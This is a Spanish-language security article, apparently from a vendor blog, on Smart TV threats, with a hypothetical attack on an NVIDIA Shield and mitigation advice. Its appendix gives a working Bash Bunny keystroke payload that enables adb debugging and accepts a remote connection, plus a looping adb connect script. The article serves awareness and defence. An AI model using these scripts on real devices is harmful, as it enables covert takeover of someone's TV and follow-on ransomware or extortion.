Los televisores inteligentes son parte de la realidad cotidiana de millones de usuarios alrededor del mundo. A medida que adquieren mayores funcionalidades, la cantidad y la sensibilidad de los datos que manejan es cada vez más relevante para el mundo del cibercrimen. Cuanto más usuarios adquieren esta tecnología, los atacantes encuentran más incentivo para diseñar nuevas formas de aventajar la diversidad que el ecosistema de Internet de las Cosas (IoT) propone en la actualidad. Por eso, decidimos abordar el tema de la seguridad en los Smart TV y presentamos este artículo que incluye un white paper para descargar, en el que analizamos por qué los televisores inteligentes son un blanco de ataque atractivo para los cibercriminales, cómo puede ser comprometida la seguridad de un Smart TV y además compartimos una serie de videos en los que emulamos un ataque que compromete un televisor inteligente.
El auge de los Smart TV y de los dispositivos de streaming
Con sus pantallas de alta resolución, cámaras, micrófonos y novedosas interfaces orientadas a la experiencia de usuario, estos televisores se han colado dentro de un gran porcentaje de hogares. Tanto es así que, según Statista, en 2018 se vendieron más de 114 millones de televisores inteligentes alrededor del mundo. Acorde a una publicación de IHS Markit, este volumen representaría el 70% de todos los televisores vendidos durante ese año.
Cuando vemos el reporte de market share conducido por IHS Markit, no debería sorprendernos que Android TV sea el sistema operativo para televisores inteligentes más popular, incluyendo las implementaciones puras de Android y aquellas modificadas por los fabricantes. En la práctica, los usuarios además cuentan con la posibilidad de comprar televisores con conectores HDMI y convertirlos en inteligentes conectándolos a un dispositivo externo de streaming.
Quizás tres de los dispositivos de streaming más conocidos sean Chromecast de Google, Fire TV de Amazon y Apple TV –pues claro, de Apple–. Sin embargo, existen otras decenas de modelos que ofrecen funcionalidad similar, conocidos como “TV boxes” o “streaming boxes”. Recientemente, se ha sumado un nuevo jugador a este segmento: la NVIDIA Shield. Mientras, Roku continúa acrecentando su participación en mercado occidental.
¿Cómo puede comprometerse la seguridad de un Smart TV?
Los cibercriminales persiguen un claro objetivo con sus campañas maliciosas: la generación de dinero. Es decir, requieren de información capaz de vender, datos para extorsionar, equipos para secuestrar o capacidad de procesamiento para utilizar. Los televisores inteligentes cuentan con todas estas características, lo que los vuelve un blanco atractivo.
Los atacantes poseen un arsenal de herramientas que pueden utilizar de forma combinada para ejecutar código malicioso en el entorno de la víctima. Ingeniería social, vulnerabilidades, malas configuraciones, ataques físicos y malware son técnicas usadas para ganar control del equipo.
Muchos usuarios han sufrido el secuestro de sus televisores por variantes similares a Simplocker o al Virus de la Policía; amenazas que exigen a la víctima realizar un pago para recuperar sus archivos. Otros tantos han sido víctimas de amenazas como ADB.Miner –detectado por ESET como Android/Coinminer.X– que buscan secuestrar capacidad de procesamiento de un equipo, siendo esta amenaza en particular un ejemplo de cómo el malware orientado a la minería de criptomonedas se ha complejizado adquiriendo capacidades de autopropagación, capaz de instalarse en televisores mediante la explotación de puertos de depuración abiertos debido a configuraciones inseguras.
Ataques físicos mediante puertos USB
Aunque las vulnerabilidades se parcheen y los usuarios se eduquen para la detección de estafas, muchos televisores continúan encontrándose en espacios vulnerables, donde pueden ser alcanzados físicamente por terceros –por ejemplo, en la sala de espera de una oficina o en una sala de estar donde se suelen realizar eventos repletos de extraños.
En particular, los puertos USB pueden ser utilizados para la ejecución de scripts maliciosos o la explotación de vulnerabilidades. Algunos gadgets permiten realizar esta tarea de forma rápida y sencilla, como el famoso –o infame– Bash Bunny de Hak5 y su predecesor, el Rubber Ducky, o cualquier hardware de similares características –spoiler alert: no son muy complicados ni costosos de crear de cero. De esta forma, el atacante puede automatizar un variado popurrí de acciones maliciosas basadas en la interacción con la interfaz de usuario y ejecutar el ataque en pocos segundos con tan solo conectar un dispositivo similar en apariencia a una memoria USB.
Algunos scripts para realizar estas indecorosas hazañas sobre Fire TV se encuentran ya cargados en los repositorios de Hak5, en GitHub. Sin embargo, muchos necesitan ser actualizados para adecuarse a la última versión de la interfaz gráfica de Android o la interfaz del sistema que esté utilizando la víctima.
Caso práctico de un ataque
Ejemplifiquemos lo anterior con un hipotético escenario de ataque. Para ello necesitaremos de un protagonista, la víctima, a quien nombraremos Truman para fines prácticos. Truman tiene un vecino llamado Christopher Lee, pero como Truman no vio El Señor de los Anillos, ni Star Wars, ni Charlie y la fábrica de chocolate, no sabe que Christopher es un archivillano que secretamente controla cientos de bots y vende información robada en la dark net.
Tras lograr acceder a la red Wi-Fi de Truman –lo que por cierto puede realizarse mediante una estrambótica cantidad de posibilidades muy bien documentadas–, Christopher podría listar los equipos en su red e identificar rápidamente un dispositivo con Android TV: una NVIDIA Shield.
Para comenzar, el hecho de que Android TV incluya funcionalidades de asistentes de voz y se vincule a una gran variedad de sensores IoT posibilita otro vector de ataque. Por ejemplo, al listar los puertos abiertos de la NVIDIA Shield, Chris observa el servicio de Chromecast activo (puerto 8008). Este servicio soporta una API a la que cualquier otro equipo en la red puede peticionar información o realizar modificaciones en la configuración, levantando preocupaciones en torno a las consecuencias que esto tiene para la privacidad de los usuarios.
La API de Chromecast en la NVIDIA puede ser consultada para averiguar la versión del sistema operativo que está corriendo en el equipo, simplemente enviando un paquete GET a la dirección http://<IP-NVIDIA-Shield>:8008/setup/eureka_info. En la parte inferior de la siguiente imagen podemos observar que dice "versión": 8
, indicando que se trata de Android Oreo.
Con estos datos, nuestro villano sabe exactamente qué movimientos le permitirán navegar la interfaz de usuario para habilitar la depuración. Esto se logra desde las opciones de desarrollador de Android, que debiesen estar ocultas en equipos de fábrica y pueden activarse desde el menú de información sobre el equipo. Un televisor puede depurarse a través del puerto USB o utilizando TCP-IP. En ambos casos, el sistema requerirá que se autorice la conexión antes de permitir acceso al equipo remoto. En Android, la herramienta adb (Android Debug Bridge) se ejecuta por defecto en el puerto 5555.
Crear un script para emular un teclado con Bash Bunny no requiere mucho ingenio. Se indica el ATTACKMODE
como HID
y se inicia cada comando con la letra Q cada vez que se quiera simular una tecla, pues se utiliza la misma interfaz del Rubber Ducky. Quack! En adelante, flecha arriba es Q UP
, abajo es Q DOWN
, derecha es Q RIGHT
e izquierda, sí adivinaron, Q SCHWARZWÄLDERKIRSCHTORTE. ¡Chiste! Claro que es Q LEFT
. Q ENTER
es Enter, Q ESC
vuelve atrás y Q DELAY <milisegundos>
retrasa/agrega el tiempo de espera indicado. Más detalles sobre la programación de scripts se pueden encontrar en la wiki de Bash Bunny.
Para habilitar la depuración por red, se puede correr otro script en la máquina desde donde se se pretende acceder remotamente para que constantemente intente conectar con la víctima mediante adb, lo que activará el diálogo de autorización de depuración mientras el Bash Bunny está conectado y permitirá aceptarlo en el momento. Así, Christopher puede ejecutar el script, prepararse un café y visitar a su vecino Truman para pedirle un poco de azúcar que convenientemente le falta. Tras conectar el Bash Bunny en la NVIDIA Shield mientras Truman se aleja hacia la cocina, en la pantalla se podría observar algo similar al siguiente video.
27 segundos demora el payload en ejecutarse. Ahora Christopher tiene una sesión de depuración mediante adb. ¿Qué puede hacer con esto? ¡Por qué no instalar un ransomware! Ya que además existe un enchufe inteligente en la casa que posee algunas vulnerabilidades, puede extorsionar a Truman mostrándole cómo controla las luces del hogar desde su televisor inteligente, como se muestra a continuación.
Mitigación
Para los equipos, se debe tener en cuenta la protección de las entradas físicas del dispositivo, tanto de red como de USB. Para ello, podemos activar la protección lógica mediante soluciones de seguridad o, en el caso de las TV boxes, podemos utilizar cajas de acrílicas con cerrojo, las mismas que se usan en otros sensores IoT. Para proteger los puertos USB también podemos utilizar escudos USB: unos gadgets que se colocan entre el televisor y cualquier unidad externa que vaya a conectarse a él, e impiden cualquier ejecución indeseada de código.
Si el Smart TV no se utilizará como dispositivo de prueba de aplicaciones en un entorno de desarrollo, entonces lo mejor es mantener los puertos de depuración desactivados. De lo contrario, si se necesita depurar algún aplicativo, quizás sea buena práctica revocar periódicamente las autorizaciones de depuración existentes y chequear si tenemos conexiones establecidas en el puerto 5555.
Para conocer el panorama completo de inseguridades y medidas de protección para tu televisor inteligente, te invitamos a que leas nuestro artículo sobre seguridad en Smart TV.
Anexo
Script para peticionar depuración.
[shell]
#!/bin/bash
while : ; do
OUTPUT="$(adb connect 192.168.1.103:5555"
if [[ $OUTPUT = *"connected"* ]]; then
echo "[!] SUCCESS! Connected to 192.168.1.103:5555"
exit 1
fi
echo "[*] Connecting..."
sleep .20
done
[/shell]
Payload para Bash Bunny.
[shell]
#!/bin/bash
#
# Title: Android Debugging over Wi Fi
# Author: DGBilic
# Version: 1.0
# Target: Android TV / NVIDIA Shield
#
# Enable adb debugging over Wi Fi.
#
# Enable developer options.
LED STAGE1
ATTACKMODE HID
Q UP
Q RIGHT
Q RIGHT
Q ENTER
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 10
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ESC
Q DELAY 10
# Enable adb debugging.
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 10
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 500
Q ENTER
Q DELAY 500
Q ESC
Q DELAY 10
Q DOWN
Q DELAY 10
Q ENTER
# Wait a few seconds for debugger connection from remote PC.
LED STAGE2
Q DELAY 5000
# Accept remote conection.
LED STAGE3
Q ENTER
Q DELAY 10
Q DOWN
Q DELAY 10
Q RIGHT
Q DELAY 10
Q ENTER
# Return to main screen.
Q ESC
Q ESC
Q ESC
LED FINISH
[/shell]